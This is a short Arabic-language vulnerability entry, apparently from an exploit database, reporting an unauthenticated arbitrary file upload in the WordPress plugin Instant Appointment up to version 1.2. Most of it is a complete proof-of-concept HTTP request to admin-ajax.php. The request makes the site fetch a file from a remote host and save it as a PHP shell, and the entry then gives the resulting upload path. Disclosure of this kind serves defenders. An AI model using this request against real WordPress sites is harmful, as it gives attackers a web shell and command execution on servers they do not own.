
instant-appointment - رفع ملف تعسفي
instant-appointment - رفع ملف تعسفي
البرنامج الإضافي Instant Appointment لـ WordPress عرضة لثغرة رفع ملف تعسفي في الإصدارات حتى 1.2 وما يشملها. وهذا يتيح للمهاجمين غير المصادق عليهم رفع shell وتنفيذ الأوامر.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wp-dev.ddev.site
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Cache-Control: max-age=0
Content-Length: 108
action=add_gallery_to_vendor&user_galerie[0][1]=https://rfi.nessus.org/rfi.txt&user_galerie[0][0]=shell2.php
سيكون الملف في uploads/2025/1/shell2.php.